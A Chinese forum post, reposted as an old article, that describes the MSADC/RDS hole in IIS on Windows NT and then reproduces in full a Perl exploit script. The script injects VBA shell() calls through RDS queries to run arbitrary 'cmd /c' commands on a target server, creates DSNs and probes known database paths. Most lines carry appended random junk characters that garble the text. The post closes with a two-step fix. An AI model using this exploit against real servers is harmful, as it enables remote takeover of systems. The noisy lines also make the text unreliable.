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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ddfs8\  
JC}f-%H?K  
涉及程序: :(a]V"(&Eq  
Microsoft NT server t~E<j+<2B  
t6,wjN-J  
描述: e'*`.^  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 yz-,)GB6  
&ISb~5  
详细: UOGuqV-  
如果你没有时间读详细内容的话,就删除: :l2g#* c  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1iX)d)(b  
有关的安全问题就没有了。 Nru7(ag1~  
qw7@(R'"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #l4)HV  
Kx. X7R  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 MZpK~c1`  
关于利用ODBC远程漏洞的描述,请参看: Mmo6MZ^  
Q\GDrdA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yfj K2  
%'xb%`t  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *?z0$Kz<,[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp qS/V"|G(  
4B4Z])$3  
这里不再论述。 s0*0 'f  
L4b:F0  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: xXY.AoO6  
}R)=S_j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset rwniOQe  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! DNR~_3Aq  
)mJf|W!Z#  
{^ m(,K_  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ?_oF:*~\  
277ASCWLkU  
#!perl UWZa|I~:J  
# N%7{J  
# MSADC/RDS 'usage' (aka exploit) script m6MO W&  
# V~T@6S  
# by rain.forest.puppy E]J:~H'Er  
# R g?1-|Tj  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6vp *9  
# beta test and find errors! n4R2^gXAw  
q;fKcblKj  
use Socket; use Getopt::Std; l"{Sm6:;-  
getopts("e:vd:h:XR", \%args); g ^!C  
a8dXH5_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; rrnNn'  
:qR=>n=  
if (!defined $args{h} && !defined $args{R}) { ]Ni;w]KE  
print qq~ & SAH2xR  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \X F}?*8  
-h <host> = host you want to scan (ip or domain) [w0/\]o  
-d <seconds> = delay between calls, default 1 second Z2Zq'3*  
-X = dump Index Server path table, if available LuR,f"%2  
-v = verbose )jCo%P/  
-e = external dictionary file for step 5 _TUk(Qe  
TgTnqR@/  
Or a -R will resume a command session uK ("<u|  
mv atUe  
~; exit;} H{?9CxYa  
j}F-Xs+  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; fa&-. *  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xq %{}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} BR v+.(S  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); dl5=q\1=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KQld YA|m  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } M wab!Ya  
(f_g7B2&y  
if (!defined $args{R}){ $ret = &has_msadc; PSRzrv$l  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} !ph" mf$-  
li] 6Pj,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2/36dGFH  
. "cmd /c "; 0Rz(|jlbS  
$in=<STDIN>; chomp $in; ~gI{\iNF/  
$command="cmd /c " . $in ; "o&HE@t  
BPqGJ7@  
if (defined $args{R}) {&load; exit;} [U8$HQ+x  
0@5E|<A  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; .fzu"XAPu  
&try_btcustmr; cBYfXI0`  
Eq^uKi  
print "\nStep 2: Trying to make our own DSN..."; v8/6wy?  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `W `0Fwu9  
Q<6P. PTya  
print "\nStep 3: Trying known DSNs..."; ?X9]HlH  
&known_dsn; Cs@ +r  
H@l}[hkP  
print "\nStep 4: Trying known .mdbs..."; >Z Ke  
&known_mdb; S'U@X  
h(B,d,q"  
if (defined $args{e}){ wP"q<W g  
print "\nStep 5: Trying dictionary of DSN names..."; `nJu?5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Y\+KoR' ;  
[m'CR 4(|  
print "Sorry Charley...maybe next time?\n"; 2.Yi( r  
exit; [U\(G  
p" `%  
############################################################################## u>.y:>  
0 nW F  
sub sendraw { # ripped and modded from whisker H]31l~@]  
sleep($delay); # it's a DoS on the server! At least on mine... IeF keE  
my ($pstr)=@_; x`Fjf/1T*m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y7U&Q:5'  
die("Socket problems\n"); 1;| LI?  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2GWDEgI1o  
select(S); $|=1; b^`AJK  
print $pstr; my @in=<S>; *s)}Bj  
select(STDOUT); close(S); Eff\Aq{  
return @in; VjbG(nB?_  
} else { die("Can't connect...\n"); }} WW "i  
 0=6/yc  
############################################################################## nhdTTap&9  
0O2n/`'  
sub make_header { # make the HTTP request sI 4yG  
my $msadc=<<EOT U!e6FHj7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2L\3S ukj  
User-Agent: ACTIVEDATA .tF|YP==  
Host: $ip \ Aq;Q?  
Content-Length: $clen zPZF|%|  
Connection: Keep-Alive TSo:7&|  
(E($3t8  
ADCClientVersion:01.06 :WXf.+IA  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :#="%  
L>Jd7; =  
--!ADM!ROX!YOUR!WORLD! rOl6lQW  
Content-Type: application/x-varg FfMnul  
Content-Length: $reqlen V!|e#}1 /  
SFjU0*B$  
EOT =^h~!ovj:  
; $msadc=~s/\n/\r\n/g; <%bw/  
return $msadc;} _zC (J  
(TSqc5^H  
############################################################################## j%&  IL0  
V`fL%du,3  
sub make_req { # make the RDS request 5)+F(  
my ($switch, $p1, $p2)=@_; 0H=9@  
my $req=""; my $t1, $t2, $query, $dsn; m/USC'U%  
tLX,+P2|  
if ($switch==1){ # this is the btcustmr.mdb query VRS 2cc  
$query="Select * from Customers where City=" . make_shell(); 's@MQ! *  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9 Aivf+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "dN < i  
!Qu PG/=X  
elsif ($switch==2){ # this is general make table query `?o=*OS7Y  
$query="create table AZZ (B int, C varchar(10))"; H`<?<ak6'M  
$dsn="$p1";} sms1%%~  
8?jxDW a  
elsif ($switch==3){ # this is general exploit table query oL *n>dH  
$query="select * from AZZ where C=" . make_shell(); a0d ,  
$dsn="$p1";} \3{3ly~L  
c<qe[iyt/  
elsif ($switch==4){ # attempt to hork file info from index server VEh]p5D  
$query="select path from scope()"; RR>G]#k  
$dsn="Provider=MSIDXS;";} N&;\PfG  
JmWR{du  
elsif ($switch==5){ # bad query #q4*]qGHm  
$query="select"; =B5E0x  
$dsn="$p1";} w@N{ @tG  
C;#" td  
$t1= make_unicode($query); L :U4N*  
$t2= make_unicode($dsn); ^o%_W0_r  
$req = "\x02\x00\x03\x00"; e)pTC97^L  
$req.= "\x08\x00" . pack ("S1", length($t1)); Hc!!tbBQ  
$req.= "\x00\x00" . $t1 ; ;9rTE|n  
$req.= "\x08\x00" . pack ("S1", length($t2)); l L2-.!]R  
$req.= "\x00\x00" . $t2 ; l]vohLz 3!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; fykI,!  
return $req;} H2\1gNL  
c2b6B.4  
############################################################################## _:,.yRez  
w yD%x(  
sub make_shell { # this makes the shell() statement I #l;~a<9z  
return "'|shell(\"$command\")|'";} >_#)3K1y8  
g.*&BXZi  
############################################################################## {a4xF2  
Pe,;MP\2  
sub make_unicode { # quick little function to convert to unicode #1l7FT?q  
my ($in)=@_; my $out; A#:8X1w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5fq.*1f  
return $out;} $,`VUe{  
my[,w$YM  
############################################################################## 'jbMTI  
$5/\Z  
sub rdo_success { # checks for RDO return success (this is kludge) >)%#V<{<  
my (@in) = @_; my $base=content_start(@in); 7&t~R}&|  
if($in[$base]=~/multipart\/mixed/){ 'oi2Seq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} M'|)dM|  
return 0;} T#e4": A&x  
q}Rlo/R  
############################################################################## ~|=rwDBZ8l  
n8FT<pUq  
sub make_dsn { # this makes a DSN for us 8dV=1O$ /  
my @drives=("c","d","e","f"); q6)p*}-  
print "\nMaking DSN: "; b3^R,6]x&  
foreach $drive (@drives) { (6#M9XL  
print "$drive: "; 9L=;KtE1  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . | M _%QM.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" zg0%>iqO  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [0{wA9g  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; gN\*Y  
return 0 if $2 eq "404"; # not found/doesn't exist s;>VeD)*)  
if($2 eq "200") { :xN8R^(  
foreach $line (@results) { 6BPAux.]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Cji#?!Ra?  
} return 0;} R8{e&n PE  
b60[({A\s&  
############################################################################## <"NyC?b+G  
RR'(9QJ$  
sub verify_exists { E~69^ cd  
my ($page)=@_; )ys=+Pz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); s9:%s*$u  
return $results[0];} l) iv\j  
^OjvL6 A/p  
############################################################################## %d-`71|lG^  
<dJIq"){  
sub try_btcustmr { CMKhS,,o  
my @drives=("c","d","e","f"); 9M0d+:YJ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7Ff?Ysr  
Ahd\TH  
foreach $dir (@dirs) { G/%Ubi6%  
print "$dir -> "; # fun status so you can see progress B^Bbso'{1  
foreach $drive (@drives) { I-,Xwj-  
print "$drive: "; # ditto rkP4<E-M  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; q'fPNQg  
$reqlenlen=length( "$reqlen" ); Kd TE{].d  
$clen= 206 + $reqlenlen + $reqlen; ][ rTQt m  
Cl-S=q@>V  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); tbRE/L<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cC' ^T6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l92!2$]b  
Y"s )u7  
############################################################################## 8t--#sDy{0  
s.bT[0Vl  
sub odbc_error { 0~:e SWz=  
my (@in)=@_; my $base; M@5KoMsB9  
my $base = content_start(@in); b3P9Yoj-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this GW:\l~ d  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y)5)s0}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @>gD1Q7v b  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #Ul4&QVeg  
return $in[$base+4].$in[$base+5].$in[$base+6];} gRw.AXR a  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ZtKQ]jV&@  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . dqL  -'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} B>ge, }{  
'[n)N@h  
############################################################################## EK:Y2WZ  
f>?^uSpWH  
sub verbose { IMw "eV  
my ($in)=@_; dp33z"<3  
return if !$verbose; X!2.IsIS8  
print STDOUT "\n$in\n";} s&Z35IM8|  
p9k4w% ~:  
############################################################################## d~vTD|Et  
+$(71#'y  
sub save { }ty"fI3&iY  
my ($p1, $p2, $p3, $p4)=@_; Vx}Yl&*D  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ny]'RS-  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <8g *O2  
close OUT;} 0P3j+? N%  
-??!@R7V  
############################################################################## b1eK(F  
^! $} BY  
sub load { A8#.1uEgNb  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #?L(#a$k  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); (QA-"9v#i,  
@p=<IN>; close(IN); .jLMl*6%:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &S9f#Ui  
$target= inet_aton($ip) || die("inet_aton problems"); 0zlM.rjEZ  
print "Resuming to $ip ..."; x:=0.l#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; AlA h S<  
if($p[1]==1) { xI-=t ib  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FGV}5L  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ',L{CQA?c  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); C+X)">/+L  
if (rdo_success(@results)){print "Success!\n";} k, $I59  
else { print "failed\n"; verbose(odbc_error(@results));}} 4!NfQk>X  
elsif ($p[1]==3){ J(3gT }z-  
if(run_query("$p[3]")){ T_(qN;_  
print "Success!\n";} else { print "failed\n"; }} Fl8w7LcF7  
elsif ($p[1]==4){ i#CaKS  
if(run_query($drvst . "$p[3]")){ / c4;3>I S  
print "Success!\n"; } else { print "failed\n"; }} !G+n"-h9'  
exit;} R-=_z 6<  
E1$Hu{  
############################################################################## Ufm(2`FQ  
\[@Q}k[  
sub create_table { KyuA5jQ7  
my ($in)=@_; ({D}QEP  
$reqlen=length( make_req(2,$in,"") ) - 28; UY?i E=  
$reqlenlen=length( "$reqlen" ); Eqz4{\   
$clen= 206 + $reqlenlen + $reqlen; ?|%\<h@;  
my @results=sendraw(make_header() . make_req(2,$in,"")); TBoM{s=.  
return 1 if rdo_success(@results); N1D6D$s0  
my $temp= odbc_error(@results); verbose($temp); 8o*\W$K@  
return 1 if $temp=~/Table 'AZZ' already exists/; V%X:1 8j  
return 0;} c^i"}2+  
'd|Q4RE+W  
############################################################################## [0mFy) 6  
@Fm{6^  
sub known_dsn { i6meY$l  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N#<zEAB  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", O;"*_Xq(`  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", g:G%Ei~sF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); "N?%mCPI  
vjOG?-  
foreach $dSn (@dsns) { %igFHh?  
print "."; lM@<_=2  
next if (!is_access("DSN=$dSn")); aF; ]7i@  
if(create_table("DSN=$dSn")){ lWu9/r 1  
print "$dSn successful\n"; TnbGO;  
if(run_query("DSN=$dSn")){ [4K9|/J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h,!G7V  
print "Something's borked. Use verbose next time\n";}}} print "\n";} h|(Z XCH  
e>])m3xvn  
############################################################################## rW=k%# p  
hQd@bN8  
sub is_access { 1q}u?7nnSG  
my ($in)=@_; =j'J !M  
$reqlen=length( make_req(5,$in,"") ) - 28; r`&2-]  
$reqlenlen=length( "$reqlen" ); h"RP>fZt  
$clen= 206 + $reqlenlen + $reqlen; 0?J|C6XM#4  
my @results=sendraw(make_header() . make_req(5,$in,"")); E<X{72fb>  
my $temp= odbc_error(@results); 0)6i~MglY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); IGh !d?D  
return 0;} d- Z+fz  
7- *( a  
############################################################################## a>&;K@  
78^UgO/  
sub run_query { % K9; qJ5  
my ($in)=@_; \-$b o=s.  
$reqlen=length( make_req(3,$in,"") ) - 28; 4Vb}i[</  
$reqlenlen=length( "$reqlen" ); 6b#:H~ <  
$clen= 206 + $reqlenlen + $reqlen; =sUl`L+w,L  
my @results=sendraw(make_header() . make_req(3,$in,"")); /ZIJ<#o[  
return 1 if rdo_success(@results); Q`@$j,v  
my $temp= odbc_error(@results); verbose($temp); . BYKdxa  
return 0;} d'Ik@D]I  
+q`rz  
############################################################################## t+W=2w&  
%v`-uAy:  
sub known_mdb { uv~qK:Nw(  
my @drives=("c","d","e","f","g"); `uM0,Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8osS OOzM  
my $dir, $drive, $mdb; KG4#BY&^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; CN8@c!mB  
n,Yr!W:h  
# this is sparse, because I don't know of many /P?|4D}<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oPBg+Bh*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lJGqR0:r+  
"\\system32\\certmdb.mdb", :XPC0^4s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @aqd'O  
@^y?Bh9jQ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }ZM*[j  
"\\cfusion\\cfapps\\forums\\forums_.mdb", EL 8N[]RF  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [G'!`^V,  
"\\cfusion\\cfapps\\security\\realm_.mdb", [0tf Y0  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", m>*A0&??[  
"\\cfusion\\database\\cfexamples.mdb", $p}~,Kp/  
"\\cfusion\\database\\cfsnippets.mdb", $$bTd3N+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XL.CJ5y>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Z}'F"}QI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1{hoO<CJ  
"\\cfusion\\database\\smpolicy.mdb", 90y9~.v  
"\\cfusion\\database\cypress.mdb", z 1#0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ; $ ?jR c  
"\\website\\cgi-win\\dbsample.mdb", oM18aR&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #iR yjD  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @o3R`ZgC]\  
); #these are just c:@OX[##  
foreach $drive (@drives) { Jm);|#y  
foreach $dir (@dirs){ /BjGAa(  
foreach $mdb (@sysmdbs) { |=^#d\?]j  
print "."; \AtwO  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ xT=kxyu  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; eF8 aB?&"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ z|DA _dG  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; cyHak u+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |peMr#  
z[|PsC3i:  
foreach $drive (@drives) { |0%4G k);  
foreach $mdb (@mdbs) { $cJN9|$6  
print "."; avxn}*:X.  
if(create_table($drv . $drive . $dir . $mdb)){ $)TF,-#x  
print "\n" . $drive . $dir . $mdb . " successful\n"; ExOB P  
if(run_query($drv . $drive . $dir . $mdb)){ OnPy8mC  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; u7Y'3x,`  
} else { print "Something's borked. Use verbose next time\n"; }}}} Io4:$w  
} /|u]Y/ *  
}x#P<d(  
##############################################################################  wc+N  
T956L'.+G  
sub hork_idx { 49J+&G?)j  
print "\nAttempting to dump Index Server tables...\n"; 1{Alj27  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4_m /_Z0x  
$reqlen=length( make_req(4,"","") ) - 28; ]|$$:e^U9  
$reqlenlen=length( "$reqlen" ); \_I)loPc8  
$clen= 206 + $reqlenlen + $reqlen; z?t(+^  
my @results=sendraw2(make_header() . make_req(4,"","")); O[hbu![  
if (rdo_success(@results)){ /c$Ht  
my $max=@results; my $c; my %d; EYx2IJ  
for($c=19; $c<$max; $c++){ ap'kxOf"1  
$results[$c]=~s/\x00//g; B[0,\>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 0Yzb=QMD  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; I>8@=V~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ndCS<ojcBP  
$d{"$1$2"}="";} = C'e1=]  
foreach $c (keys %d){ print "$c\n"; } y~A7pzBZ=  
} else {print "Index server doesn't seem to be installed.\n"; }} l-^XW?CfL  
H;t8(-F@'  
############################################################################## Ni@e/| 2b  
:UhFou_D4l  
sub dsn_dict { +/>YH-P=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 4gv XJK-  
while(<IN>){ 'G3OZj8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $m: a-.I  
next if (!is_access("DSN=$dSn")); n8OdRv  
if(create_table("DSN=$dSn")){ hPeKQwzC0  
print "$dSn successful\n"; k>0cTBY&  
if(run_query("DSN=$dSn")){ 55\X\> 0C7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _6-/S!7Y\  
print "Something's borked. Use verbose next time\n";}}} *UL|{_)c  
print "\n"; close(IN);} ^qus `6  
CMG`'gT  
############################################################################## kzVI:  
+@],$=aE?  
sub sendraw2 { # ripped and modded from whisker &9lc\Y4PY  
sleep($delay); # it's a DoS on the server! At least on mine... @H# kvYWmn  
my ($pstr)=@_; 4Ig{#}<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || t`1]U4s&I  
die("Socket problems\n"); K7O? {/  
if(connect(S,pack "SnA4x8",2,80,$target)){ -R$FJb Id  
print "Connected. Getting data"; ah Xq{>  
open(OUT,">raw.out"); my @in; w%o4MFK=!  
select(S); $|=1; print $pstr; ;=9v mQA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} o27`g\gDR,  
close(OUT); select(STDOUT); close(S); return @in; qM:)daS1w  
} else { die("Can't connect...\n"); }} ]>4Qs  
(Nlm4*{h  
############################################################################## 'lRHdD}s  
_TN$c  
sub content_start { # this will take in the server headers &|{,4V0%A  
my (@in)=@_; my $c; c+)|o!d  
for ($c=1;$c<500;$c++) { ]ifHA# z`~  
if($in[$c] =~/^\x0d\x0a/){ D_ZBx+/_?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } S,tVOxs^  
else { return $c+1; }}} 8m[L]6F(-z  
return -1;} # it should never get here actually s=~7m.m  
MJ"Mn^:/  
############################################################################## "A1yqK  
U}wq~fD  
sub funky { -Lf6]5$2'  
my (@in)=@_; my $error=odbc_error(@in); iM/0Yp-v'>  
if($error=~/ADO could not find the specified provider/){ Nt^&YE7d:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *pC -`k  
exit;} Q|<?$.FN"8  
if($error=~/A Handler is required/){ VaI P  
print "\nServer has custom handler filters (they most likely are patched)\n"; ` dUiz5o'  
exit;} z57papo  
if($error=~/specified Handler has denied Access/){ v8k ^=A:  
print "\nServer has custom handler filters (they most likely are patched)\n"; *4^]?Y\*  
exit;}} LLHOWD C(2  
;)]zv\fC  
############################################################################## 4qz{ D"M  
iY'hkrw  
sub has_msadc { WAa1H60VkS  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); w@ylRq  
my $base=content_start(@results); kJeOlO[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U1|4vd9  
return 0;} c^WBB$v  
%=<NqINM[  
######################## f -nC+   
tWOze, N  
U?ic$J]N  
解决方案: ?~Ed n-" Y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll \fR:+rbQ&|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yaYt/?|  
W!B4< 'Fjc  
拿出来充数 哈哈
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